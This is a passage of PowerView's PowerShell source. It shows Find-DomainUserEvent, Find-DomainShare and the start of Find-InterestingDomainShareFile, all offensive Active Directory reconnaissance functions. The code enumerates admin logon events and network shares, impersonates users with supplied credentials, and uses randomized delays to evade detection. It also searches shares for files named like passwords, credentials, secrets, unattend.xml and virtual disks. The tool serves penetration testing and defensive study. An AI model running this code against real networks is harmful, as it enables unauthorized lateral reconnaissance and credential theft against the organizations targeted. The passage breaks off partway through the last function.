17381 $Domain,
17382
17383 [ValidateNotNullOrEmpty()]
17384 [Hashtable]
17385 $Filter,
17386
17387 [Parameter(ValueFromPipelineByPropertyName = $True)]
17388 [ValidateNotNullOrEmpty()]
17389 [DateTime]
17390 $StartTime = [DateTime]::Now.AddDays(-1),
17391
17392 [Parameter(ValueFromPipelineByPropertyName = $True)]
17393 [ValidateNotNullOrEmpty()]
17394 [DateTime]
17395 $EndTime = [DateTime]::Now,
17396
17397 [ValidateRange(1, 1000000)]
17398 [Int]
17399 $MaxEvents = 5000,
17400
17401 [ValidateNotNullOrEmpty()]
17402 [String[]]
17403 $UserIdentity,
17404
17405 [ValidateNotNullOrEmpty()]
17406 [String]
17407 $UserDomain,
17408
17409 [ValidateNotNullOrEmpty()]
17410 [String]
17411 $UserLDAPFilter,
17412
17413 [ValidateNotNullOrEmpty()]
17414 [String]
17415 $UserSearchBase,
17416
17417 [ValidateNotNullOrEmpty()]
17418 [Alias('GroupName', 'Group')]
17419 [String[]]
17420 $UserGroupIdentity = 'Domain Admins',
17421
17422 [Alias('AdminCount')]
17423 [Switch]
17424 $UserAdminCount,
17425
17426 [Switch]
17427 $CheckAccess,
17428
17429 [ValidateNotNullOrEmpty()]
17430 [Alias('DomainController')]
17431 [String]
17432 $Server,
17433
17434 [ValidateSet('Base', 'OneLevel', 'Subtree')]
17435 [String]
17436 $SearchScope = 'Subtree',
17437
17438 [ValidateRange(1, 10000)]
17439 [Int]
17440 $ResultPageSize = 200,
17441
17442 [ValidateRange(1, 10000)]
17443 [Int]
17444 $ServerTimeLimit,
17445
17446 [Switch]
17447 $Tombstone,
17448
17449 [Management.Automation.PSCredential]
17450 [Management.Automation.CredentialAttribute()]
17451 $Credential = [Management.Automation.PSCredential]::Empty,
17452
17453 [Switch]
17454 $StopOnSuccess,
17455
17456 [ValidateRange(1, 10000)]
17457 [Int]
17458 $Delay = 0,
17459
17460 [ValidateRange(0.0, 1.0)]
17461 [Double]
17462 $Jitter = .3,
17463
17464 [Int]
17465 [ValidateRange(1, 100)]
17466 $Threads = 20
17467 )
17468
17469 BEGIN {
17470 $UserSearcherArguments = @{
17471 'Properties' = 'samaccountname'
17472 }
17473 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
17474 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
17475 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
17476 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
17477 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
17478 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
17479 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
17480 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
17481 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17482 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
17483 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
17484
17485 if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
17486 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
17487 }
17488 elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
17489 # otherwise we're querying a specific group
17490 $GroupSearcherArguments = @{
17491 'Identity' = $UserGroupIdentity
17492 'Recurse' = $True
17493 }
17494 Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
17495 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
17496 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
17497 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
17498 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
17499 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
17500 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17501 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
17502 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
17503 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
17504 }
17505
17506 # build the set of computers to enumerate
17507 if ($PSBoundParameters['ComputerName']) {
17508 $TargetComputers = $ComputerName
17509 }
17510 else {
17511 # if not -ComputerName is passed, query the current (or target) domain for domain controllers
17512 $DCSearcherArguments = @{
17513 'LDAP' = $True
17514 }
17515 if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
17516 if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
17517 if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
17518 Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
17519 $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
17520 }
17521 if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
17522 $TargetComputers = @(,$TargetComputers)
17523 }
17524 Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
17525 Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
17526 if ($TargetComputers.Length -eq 0) {
17527 throw '[Find-DomainUserEvent] No hosts found to enumerate'
17528 }
17529
17530 # the host enumeration block we're using to enumerate all servers
17531 $HostEnumBlock = {
17532 Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
17533
17534 ForEach ($TargetComputer in $ComputerName) {
17535 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
17536 if ($Up) {
17537 $DomainUserEventArgs = @{
17538 'ComputerName' = $TargetComputer
17539 }
17540 if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
17541 if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
17542 if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
17543 if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
17544 if ($Filter -or $TargetUsers) {
17545 if ($TargetUsers) {
17546 Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
17547 }
17548 else {
17549 $Operator = 'or'
17550 $Filter.Keys | ForEach-Object {
17551 if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
17552 if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
17553 $Operator = 'and'
17554 }
17555 }
17556 }
17557 $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
17558 Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
17559 if ($Operator -eq 'or') {
17560 ForEach ($Key in $Keys) {
17561 if ($_."$Key" -match $Filter[$Key]) {
17562 $_
17563 }
17564 }
17565 }
17566 else {
17567 # and all clauses
17568 ForEach ($Key in $Keys) {
17569 if ($_."$Key" -notmatch $Filter[$Key]) {
17570 break
17571 }
17572 $_
17573 }
17574 }
17575 }
17576 }
17577 }
17578 else {
17579 Get-DomainUserEvent @DomainUserEventArgs
17580 }
17581 }
17582 }
17583 }
17584 }
17585
17586 PROCESS {
17587 # only ignore threading if -Delay is passed
17588 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
17589
17590 Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
17591 Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
17592 $Counter = 0
17593 $RandNo = New-Object System.Random
17594
17595 ForEach ($TargetComputer in $TargetComputers) {
17596 $Counter = $Counter + 1
17597
17598 # sleep for our semi-randomized interval
17599 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
17600
17601 Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
17602 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
17603 $Result
17604
17605 if ($Result -and $StopOnSuccess) {
17606 Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
17607 return
17608 }
17609 }
17610 }
17611 else {
17612 Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
17613
17614 # if we're using threading, kick off the script block with New-ThreadedFunction
17615 $ScriptParams = @{
17616 'StartTime' = $StartTime
17617 'EndTime' = $EndTime
17618 'MaxEvents' = $MaxEvents
17619 'TargetUsers' = $TargetUsers
17620 'Filter' = $Filter
17621 'Credential' = $Credential
17622 }
17623
17624 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
17625 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
17626 }
17627 }
17628}
17629
17630
17631function Find-DomainShare {
17632<#
17633.SYNOPSIS
17634
17635Searches for computer shares on the domain. If -CheckShareAccess is passed,
17636then only shares the current user has read access to are returned.
17637
17638Author: Will Schroeder (@harmj0y)
17639License: BSD 3-Clause
17640Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
17641
17642.DESCRIPTION
17643
17644This function enumerates all machines on the current (or specified) domain
17645using Get-DomainComputer, and enumerates the available shares for each
17646machine with Get-NetShare. If -CheckShareAccess is passed, then
17647[IO.Directory]::GetFiles() is used to check if the current user has read
17648access to the given share. If -Credential is passed, then
17649Invoke-UserImpersonation is used to impersonate the specified user before
17650enumeration, reverting after with Invoke-RevertToSelf.
17651
17652.PARAMETER ComputerName
17653
17654Specifies an array of one or more hosts to enumerate, passable on the pipeline.
17655If -ComputerName is not passed, the default behavior is to enumerate all machines
17656in the domain returned by Get-DomainComputer.
17657
17658.PARAMETER ComputerDomain
17659
17660Specifies the domain to query for computers, defaults to the current domain.
17661
17662.PARAMETER ComputerLDAPFilter
17663
17664Specifies an LDAP query string that is used to search for computer objects.
17665
17666.PARAMETER ComputerSearchBase
17667
17668Specifies the LDAP source to search through for computers,
17669e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
17670
17671.PARAMETER ComputerOperatingSystem
17672
17673Search computers with a specific operating system, wildcards accepted.
17674
17675.PARAMETER ComputerServicePack
17676
17677Search computers with a specific service pack, wildcards accepted.
17678
17679.PARAMETER ComputerSiteName
17680
17681Search computers in the specific AD Site name, wildcards accepted.
17682
17683.PARAMETER CheckShareAccess
17684
17685Switch. Only display found shares that the local user has access to.
17686
17687.PARAMETER Server
17688
17689Specifies an Active Directory server (domain controller) to bind to.
17690
17691.PARAMETER SearchScope
17692
17693Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
17694
17695.PARAMETER ResultPageSize
17696
17697Specifies the PageSize to set for the LDAP searcher object.
17698
17699.PARAMETER ServerTimeLimit
17700
17701Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
17702
17703.PARAMETER Tombstone
17704
17705Switch. Specifies that the searcher should also return deleted/tombstoned objects.
17706
17707.PARAMETER Credential
17708
17709A [Management.Automation.PSCredential] object of alternate credentials
17710for connection to the target domain and target systems.
17711
17712.PARAMETER Delay
17713
17714Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
17715
17716.PARAMETER Jitter
17717
17718Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
17719
17720.PARAMETER Threads
17721
17722The number of threads to use for user searching, defaults to 20.
17723
17724.EXAMPLE
17725
17726Find-DomainShare
17727
17728Find all domain shares in the current domain.
17729
17730.EXAMPLE
17731
17732Find-DomainShare -CheckShareAccess
17733
17734Find all domain shares in the current domain that the current user has
17735read access to.
17736
17737.EXAMPLE
17738
17739$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
17740$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
17741Find-DomainShare -Domain testlab.local -Credential $Cred
17742
17743Searches for domain shares in the testlab.local domain using the specified alternate credentials.
17744
17745.OUTPUTS
17746
17747PowerView.ShareInfo
17748#>
17749
17750 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
17751 [OutputType('PowerView.ShareInfo')]
17752 Param(
17753 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
17754 [Alias('DNSHostName')]
17755 [String[]]
17756 $ComputerName,
17757
17758 [ValidateNotNullOrEmpty()]
17759 [Alias('Domain')]
17760 [String]
17761 $ComputerDomain,
17762
17763 [ValidateNotNullOrEmpty()]
17764 [String]
17765 $ComputerLDAPFilter,
17766
17767 [ValidateNotNullOrEmpty()]
17768 [String]
17769 $ComputerSearchBase,
17770
17771 [ValidateNotNullOrEmpty()]
17772 [Alias('OperatingSystem')]
17773 [String]
17774 $ComputerOperatingSystem,
17775
17776 [ValidateNotNullOrEmpty()]
17777 [Alias('ServicePack')]
17778 [String]
17779 $ComputerServicePack,
17780
17781 [ValidateNotNullOrEmpty()]
17782 [Alias('SiteName')]
17783 [String]
17784 $ComputerSiteName,
17785
17786 [Alias('CheckAccess')]
17787 [Switch]
17788 $CheckShareAccess,
17789
17790 [ValidateNotNullOrEmpty()]
17791 [Alias('DomainController')]
17792 [String]
17793 $Server,
17794
17795 [ValidateSet('Base', 'OneLevel', 'Subtree')]
17796 [String]
17797 $SearchScope = 'Subtree',
17798
17799 [ValidateRange(1, 10000)]
17800 [Int]
17801 $ResultPageSize = 200,
17802
17803 [ValidateRange(1, 10000)]
17804 [Int]
17805 $ServerTimeLimit,
17806
17807 [Switch]
17808 $Tombstone,
17809
17810 [Management.Automation.PSCredential]
17811 [Management.Automation.CredentialAttribute()]
17812 $Credential = [Management.Automation.PSCredential]::Empty,
17813
17814 [ValidateRange(1, 10000)]
17815 [Int]
17816 $Delay = 0,
17817
17818 [ValidateRange(0.0, 1.0)]
17819 [Double]
17820 $Jitter = .3,
17821
17822 [Int]
17823 [ValidateRange(1, 100)]
17824 $Threads = 20
17825 )
17826
17827 BEGIN {
17828
17829 $ComputerSearcherArguments = @{
17830 'Properties' = 'dnshostname'
17831 }
17832 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
17833 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
17834 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
17835 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
17836 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
17837 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
17838 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
17839 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
17840 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
17841 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
17842 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17843 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
17844 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
17845
17846 if ($PSBoundParameters['ComputerName']) {
17847 $TargetComputers = $ComputerName
17848 }
17849 else {
17850 Write-Verbose '[Find-DomainShare] Querying computers in the domain'
17851 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
17852 }
17853 Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
17854 if ($TargetComputers.Length -eq 0) {
17855 throw '[Find-DomainShare] No hosts found to enumerate'
17856 }
17857
17858 # the host enumeration block we're using to enumerate all servers
17859 $HostEnumBlock = {
17860 Param($ComputerName, $CheckShareAccess, $TokenHandle)
17861
17862 if ($TokenHandle) {
17863 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
17864 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
17865 }
17866
17867 ForEach ($TargetComputer in $ComputerName) {
17868 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
17869 if ($Up) {
17870 # get the shares for this host and check what we find
17871 $Shares = Get-NetShare -ComputerName $TargetComputer
17872 ForEach ($Share in $Shares) {
17873 $ShareName = $Share.Name
17874 # $Remark = $Share.Remark
17875 $Path = '\\'+$TargetComputer+'\'+$ShareName
17876
17877 if (($ShareName) -and ($ShareName.trim() -ne '')) {
17878 # see if we want to check access to this share
17879 if ($CheckShareAccess) {
17880 # check if the user has access to this path
17881 try {
17882 $Null = [IO.Directory]::GetFiles($Path)
17883 $Share
17884 }
17885 catch {
17886 Write-Verbose "Error accessing share path $Path : $_"
17887 }
17888 }
17889 else {
17890 $Share
17891 }
17892 }
17893 }
17894 }
17895 }
17896
17897 if ($TokenHandle) {
17898 Invoke-RevertToSelf
17899 }
17900 }
17901
17902 $LogonToken = $Null
17903 if ($PSBoundParameters['Credential']) {
17904 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
17905 $LogonToken = Invoke-UserImpersonation -Credential $Credential
17906 }
17907 else {
17908 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
17909 }
17910 }
17911 }
17912
17913 PROCESS {
17914 # only ignore threading if -Delay is passed
17915 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
17916
17917 Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
17918 Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
17919 $Counter = 0
17920 $RandNo = New-Object System.Random
17921
17922 ForEach ($TargetComputer in $TargetComputers) {
17923 $Counter = $Counter + 1
17924
17925 # sleep for our semi-randomized interval
17926 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
17927
17928 Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
17929 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
17930 }
17931 }
17932 else {
17933 Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
17934
17935 # if we're using threading, kick off the script block with New-ThreadedFunction
17936 $ScriptParams = @{
17937 'CheckShareAccess' = $CheckShareAccess
17938 'TokenHandle' = $LogonToken
17939 }
17940
17941 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
17942 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
17943 }
17944 }
17945
17946 END {
17947 if ($LogonToken) {
17948 Invoke-RevertToSelf -TokenHandle $LogonToken
17949 }
17950 }
17951}
17952
17953
17954function Find-InterestingDomainShareFile {
17955<#
17956.SYNOPSIS
17957
17958Searches for files matching specific criteria on readable shares
17959in the domain.
17960
17961Author: Will Schroeder (@harmj0y)
17962License: BSD 3-Clause
17963Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
17964
17965.DESCRIPTION
17966
17967This function enumerates all machines on the current (or specified) domain
17968using Get-DomainComputer, and enumerates the available shares for each
17969machine with Get-NetShare. It will then use Find-InterestingFile on each
17970readhable share, searching for files marching specific criteria. If -Credential
17971is passed, then Invoke-UserImpersonation is used to impersonate the specified
17972user before enumeration, reverting after with Invoke-RevertToSelf.
17973
17974.PARAMETER ComputerName
17975
17976Specifies an array of one or more hosts to enumerate, passable on the pipeline.
17977If -ComputerName is not passed, the default behavior is to enumerate all machines
17978in the domain returned by Get-DomainComputer.
17979
17980.PARAMETER ComputerDomain
17981
17982Specifies the domain to query for computers, defaults to the current domain.
17983
17984.PARAMETER ComputerLDAPFilter
17985
17986Specifies an LDAP query string that is used to search for computer objects.
17987
17988.PARAMETER ComputerSearchBase
17989
17990Specifies the LDAP source to search through for computers,
17991e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
17992
17993.PARAMETER ComputerOperatingSystem
17994
17995Search computers with a specific operating system, wildcards accepted.
17996
17997.PARAMETER ComputerServicePack
17998
17999Search computers with a specific service pack, wildcards accepted.
18000
18001.PARAMETER ComputerSiteName
18002
18003Search computers in the specific AD Site name, wildcards accepted.
18004
18005.PARAMETER Include
18006
18007Only return files/folders that match the specified array of strings,
18008i.e. @(*.doc*, *.xls*, *.ppt*)
18009
18010.PARAMETER SharePath
18011
18012Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
18013
18014.PARAMETER ExcludedShares
18015
18016Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
18017
18018.PARAMETER LastAccessTime
18019
18020Only return files with a LastAccessTime greater than this date value.
18021
18022.PARAMETER LastWriteTime
18023
18024Only return files with a LastWriteTime greater than this date value.
18025
18026.PARAMETER CreationTime
18027
18028Only return files with a CreationTime greater than this date value.
18029
18030.PARAMETER OfficeDocs
18031
18032Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
18033
18034.PARAMETER FreshEXEs
18035
18036Switch. Find .EXEs accessed within the last 7 days.
18037
18038.PARAMETER Server
18039
18040Specifies an Active Directory server (domain controller) to bind to.
18041
18042.PARAMETER SearchScope
18043
18044Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
18045
18046.PARAMETER ResultPageSize
18047
18048Specifies the PageSize to set for the LDAP searcher object.
18049
18050.PARAMETER ServerTimeLimit
18051
18052Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
18053
18054.PARAMETER Tombstone
18055
18056Switch. Specifies that the searcher should also return deleted/tombstoned objects.
18057
18058.PARAMETER Credential
18059
18060A [Management.Automation.PSCredential] object of alternate credentials
18061for connection to the target domain and target systems.
18062
18063.PARAMETER Delay
18064
18065Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
18066
18067.PARAMETER Jitter
18068
18069Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
18070
18071.PARAMETER Threads
18072
18073The number of threads to use for user searching, defaults to 20.
18074
18075.EXAMPLE
18076
18077Find-InterestingDomainShareFile
18078
18079Finds 'interesting' files on the current domain.
18080
18081.EXAMPLE
18082
18083Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
18084
18085Finds 'interesting' files on readable shares on the specified systems.
18086
18087.EXAMPLE
18088
18089$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
18090$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
18091Find-DomainShare -Domain testlab.local -Credential $Cred
18092
18093Searches interesting files in the testlab.local domain using the specified alternate credentials.
18094
18095.OUTPUTS
18096
18097PowerView.FoundFile
18098#>
18099
18100 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
18101 [OutputType('PowerView.FoundFile')]
18102 [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
18103 Param(
18104 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
18105 [Alias('DNSHostName')]
18106 [String[]]
18107 $ComputerName,
18108
18109 [ValidateNotNullOrEmpty()]
18110 [String]
18111 $ComputerDomain,
18112
18113 [ValidateNotNullOrEmpty()]
18114 [String]
18115 $ComputerLDAPFilter,
18116
18117 [ValidateNotNullOrEmpty()]
18118 [String]
18119 $ComputerSearchBase,
18120
18121 [ValidateNotNullOrEmpty()]
18122 [Alias('OperatingSystem')]
18123 [String]
18124 $ComputerOperatingSystem,
18125
18126 [ValidateNotNullOrEmpty()]
18127 [Alias('ServicePack')]
18128 [String]
18129 $ComputerServicePack,
18130
18131 [ValidateNotNullOrEmpty()]
18132 [Alias('SiteName')]
18133 [String]
18134 $ComputerSiteName,
18135
18136 [Parameter(ParameterSetName = 'FileSpecification')]
18137 [ValidateNotNullOrEmpty()]
18138 [Alias('SearchTerms', 'Terms')]
18139 [String[]]
18140 $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
18141
18142 [ValidateNotNullOrEmpty()]
18143 [ValidatePattern('\\\\')]
18144 [Alias('Share')]
18145 [String[]]
18146 $SharePath,
18147
18148 [String[]]
18149 $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
18150
18151 [Parameter(ParameterSetName = 'FileSpecification')]
18152 [ValidateNotNullOrEmpty()]
18153 [DateTime]
18154 $LastAccessTime,
18155
18156 [Parameter(ParameterSetName = 'FileSpecification')]
18157 [ValidateNotNullOrEmpty()]
18158 [DateTime]
18159 $LastWriteTime,
18160
18161 [Parameter(ParameterSetName = 'FileSpecification')]
18162 [ValidateNotNullOrEmpty()]
18163 [DateTime]
18164 $CreationTime,
18165
18166 [Parameter(ParameterSetName = 'OfficeDocs')]
18167 [Switch]
18168 $OfficeDocs,
18169
18170 [Parameter(ParameterSetName = 'FreshEXEs')]
18171 [Switch]
18172 $FreshEXEs,
18173
18174 [ValidateNotNullOrEmpty()]
18175 [Alias('DomainController')]
18176 [String]
18177 $Server,
18178
18179 [ValidateSet('Base', 'OneLevel', 'Subtree')]
18180 [String]
18181 $SearchScope = 'Subtree',
18182
18183 [ValidateRange(1, 10000)]
18184 [Int]
18185 $ResultPageSize = 200,
18186
18187 [ValidateRange(1, 10000)]
18188 [Int]
18189 $ServerTimeLimit,
18190
18191 [Switch]
18192 $Tombstone,
18193
18194 [Management.Automation.PSCredential]
18195 [Management.Automation.CredentialAttribute()]
18196 $Credential = [Management.Automation.PSCredential]::Empty,
18197
18198 [ValidateRange(1, 10000)]
18199 [Int]
18200 $Delay = 0,
18201
18202 [ValidateRange(0.0, 1.0)]
18203 [Double]
18204 $Jitter = .3,
18205
18206 [Int]
18207 [ValidateRange(1, 100)]
18208 $Threads = 20
18209 )
18210
18211 BEGIN {
18212 $ComputerSearcherArguments = @{
18213 'Properties' = 'dnshostname'
18214 }
18215 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
18216 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
18217 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
18218 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
18219 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
18220 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
18221 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
18222 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
18223 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
18224 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
18225 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
18226 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
18227
18228 if ($PSBoundParameters['ComputerName']) {
18229 $TargetComputers = $ComputerName
18230 }
18231 else {
18232 Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
18233 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
18234 }
18235 Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)"
18236 if ($TargetComputers.Length -eq 0) {
18237 throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
18238 }
18239
18240 # the host enumeration block we're using to enumerate all servers
18241 $HostEnumBlock = {
18242 Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)
18243
18244 if ($TokenHandle) {
18245 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
18246 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
18247 }
18248
18249 ForEach ($TargetComputer in $ComputerName) {
18250
18251 $SearchShares = @()
18252 if ($TargetComputer.StartsWith('\\')) {
18253 # if a share is passed as the server
18254 $SearchShares += $TargetComputer
18255 }
18256 else {
18257 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
18258 if ($Up) {
